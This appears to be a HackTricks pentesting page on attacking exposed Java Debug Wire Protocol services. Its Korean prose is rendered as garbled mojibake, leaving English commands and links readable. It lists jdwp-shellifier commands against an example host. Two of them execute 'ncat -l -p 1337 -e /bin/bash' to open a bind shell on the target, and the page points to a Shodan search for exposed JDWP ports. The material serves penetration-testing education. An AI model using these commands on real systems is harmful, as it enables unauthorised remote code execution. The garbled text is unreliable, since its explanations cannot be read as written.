Pentesting JDWP - Java Debug Wire Protocol
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Exploiting
JDWP ์ ์ฉ์ ํ๋กํ ์ฝ์ ์ธ์ฆ ๋ฐ ์ํธํ ๋ถ์กฑ์ ๋ฌ๋ ค ์์ต๋๋ค. ์ผ๋ฐ์ ์ผ๋ก ํฌํธ 8000์์ ๋ฐ๊ฒฌ๋์ง๋ง ๋ค๋ฅธ ํฌํธ๋ ๊ฐ๋ฅํฉ๋๋ค. ์ด๊ธฐ ์ฐ๊ฒฐ์ ๋์ ํฌํธ์ โJDWP-Handshakeโ๋ฅผ ์ ์กํ์ฌ ์ด๋ฃจ์ด์ง๋๋ค. JDWP ์๋น์ค๊ฐ ํ์ฑํ๋์ด ์์ผ๋ฉด ๋์ผํ ๋ฌธ์์ด๋ก ์๋ตํ์ฌ ์กด์ฌ๋ฅผ ํ์ธํฉ๋๋ค. ์ด ํธ๋์ ฐ์ดํฌ๋ ๋คํธ์ํฌ์์ JDWP ์๋น์ค๋ฅผ ์๋ณํ๋ ์ง๋ฌธ ์ธ์ ๋ฐฉ๋ฒ์ผ๋ก ์์ฉํฉ๋๋ค.
ํ๋ก์ธ์ค ์๋ณ ์ธก๋ฉด์์ Java ํ๋ก์ธ์ค์์ โjdwkโ ๋ฌธ์์ด์ ๊ฒ์ํ๋ฉด ํ์ฑ JDWP ์ธ์ ์ ๋ํ๋ผ ์ ์์ต๋๋ค.
์ฃผ์ ๋๊ตฌ๋ jdwp-shellifier์ ๋๋ค. ๋ค์ํ ๋งค๊ฐ๋ณ์์ ํจ๊ป ์ฌ์ฉํ ์ ์์ต๋๋ค:
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
--break-on 'java.lang.String.indexOf'์ ์ฌ์ฉ์ด ์ต์คํ๋ก์์ ๋ ์์ ์ ์ผ๋ก ๋ง๋ ๋ค๋ ๊ฒ์ ๋ฐ๊ฒฌํ์ต๋๋ค. ๊ทธ๋ฆฌ๊ณ ํธ์คํธ์ ๋ฐฑ๋์ด๋ฅผ ์
๋ก๋ํ๊ณ ๋ช
๋ น์ ์คํํ๋ ๋์ ์คํํ ๊ธฐํ๊ฐ ์๋ค๋ฉด, ์ต์คํ๋ก์์ ๋์ฑ ์์ ์ ์ผ ๊ฒ์
๋๋ค.
๋ ๋ง์ ์ธ๋ถ์ ๋ณด
์ด๊ฒ์ https://ioactive.com/hacking-java-debug-wire-protocol-or-how/์ ์์ฝ์ ๋๋ค. ์ถ๊ฐ ์ธ๋ถ์ ๋ณด๋ ํด๋น ๋งํฌ๋ฅผ ํ์ธํ์ธ์.
- JDWP ๊ฐ์:
- ํจํท ๊ธฐ๋ฐ์ ๋คํธ์ํฌ ์ด์ง ํ๋กํ ์ฝ๋ก, ์ฃผ๋ก ๋๊ธฐ์์ ๋๋ค.
- ์ธ์ฆ ๋ฐ ์ํธํ๊ฐ ๋ถ์กฑํ์ฌ ์ ๋์ ์ธ ๋คํธ์ํฌ์ ๋ ธ์ถ๋ ๊ฒฝ์ฐ ์ทจ์ฝํฉ๋๋ค.
- JDWP ํธ๋์ ฐ์ดํฌ:
- ํต์ ์ ์์ํ๊ธฐ ์ํด ๊ฐ๋จํ ํธ๋์ ฐ์ดํฌ ํ๋ก์ธ์ค๊ฐ ์ฌ์ฉ๋ฉ๋๋ค. ๋๋ฒ๊ฑฐ(ํด๋ผ์ด์ธํธ)์ ๋๋ฒ๊ธฐ(์๋ฒ) ๊ฐ์ 14์ ASCII ๋ฌธ์์ด โJDWP-Handshakeโ๊ฐ ๊ตํ๋ฉ๋๋ค.
- JDWP ํต์ :
- ๋ฉ์์ง๋ ๊ธธ์ด, ID, ํ๋๊ทธ ๋ฐ CommandSet๊ณผ ๊ฐ์ ํ๋๋ฅผ ๊ฐ์ง ๊ฐ๋จํ ๊ตฌ์กฐ๋ฅผ ๊ฐ์ง๊ณ ์์ต๋๋ค.
- CommandSet ๊ฐ์ 0x40์์ 0x80๊น์ง ๋ค์ํ๋ฉฐ, ์๋ก ๋ค๋ฅธ ๋์ ๋ฐ ์ด๋ฒคํธ๋ฅผ ๋ํ๋ ๋๋ค.
- ์ต์คํ๋ก์:
- JDWP๋ ์์์ ํด๋์ค์ ๋ฐ์ดํธ์ฝ๋๋ฅผ ๋ก๋ํ๊ณ ํธ์ถํ ์ ์๊ฒ ํ์ฌ ๋ณด์ ์ํ์ ์ด๋ํฉ๋๋ค.
- ์ด ๊ธฐ์ฌ๋ Java Runtime ์ฐธ์กฐ๋ฅผ ๊ฐ์ ธ์ค๊ณ , ์ค๋จ์ ์ ์ค์ ํ๊ณ , ๋ฉ์๋๋ฅผ ํธ์ถํ๋ ๋ค์ฏ ๋จ๊ณ์ ์ต์คํ๋ก์ ํ๋ก์ธ์ค๋ฅผ ์์ธํ ์ค๋ช ํฉ๋๋ค.
- ์ค์ ์ต์คํ๋ก์:
- ์ ์ฌ์ ์ธ ๋ฐฉํ๋ฒฝ ๋ณดํธ์๋ ๋ถ๊ตฌํ๊ณ , JDWP ์๋น์ค๋ ๋ฐ๊ฒฌ ๊ฐ๋ฅํ๋ฉฐ ์ค์ ์๋๋ฆฌ์ค์์ ์ต์คํ๋ก์๋ ์ ์์ต๋๋ค. ์ด๋ ShodanHQ ๋ฐ GitHub์ ๊ฐ์ ํ๋ซํผ์์์ ๊ฒ์์ ํตํด ์ ์ฆ๋ฉ๋๋ค.
- ์ต์คํ๋ก์ ์คํฌ๋ฆฝํธ๋ ๋ค์ํ JDK ๋ฒ์ ์์ ํ ์คํธ๋์์ผ๋ฉฐ, ํ๋ซํผ์ ๋ ๋ฆฝ์ ์ด๋ฉฐ ์ ๋ขฐํ ์ ์๋ ์๊ฒฉ ์ฝ๋ ์คํ(RCE)์ ์ ๊ณตํฉ๋๋ค.
- ๋ณด์ ์๋ฏธ:
- ์ธํฐ๋ท์ ์ด๋ฆฐ JDWP ์๋น์ค์ ์กด์ฌ๋ ์ ๊ธฐ์ ์ธ ๋ณด์ ๊ฒํ ์ ํ์์ฑ์ ๊ฐ์กฐํ๋ฉฐ, ํ๋ก๋์ ์์ ๋๋ฒ๊ทธ ๊ธฐ๋ฅ์ ๋นํ์ฑํํ๊ณ ์ ์ ํ ๋ฐฉํ๋ฒฝ ๊ตฌ์ฑ์ ์๊ตฌํฉ๋๋ค.
์ฐธ๊ณ ์๋ฃ:
- [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/]
- https://github.com/IOActive/jdwp-shellifier
- http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html
- http://www.secdev.org/projects/scapy(๋ ์ด์ ํ์ฑํ๋์ง ์์)
- http://www.shodanhq.com/search?q=JDWP-HANDSHAKE
- http://www.hsc-news.com/archives/2013/000109.html (๋ ์ด์ ํ์ฑํ๋์ง ์์)
- http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt
- https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
- http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html
- http://nmap.org/nsedoc/scripts/jdwp-exec.html
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


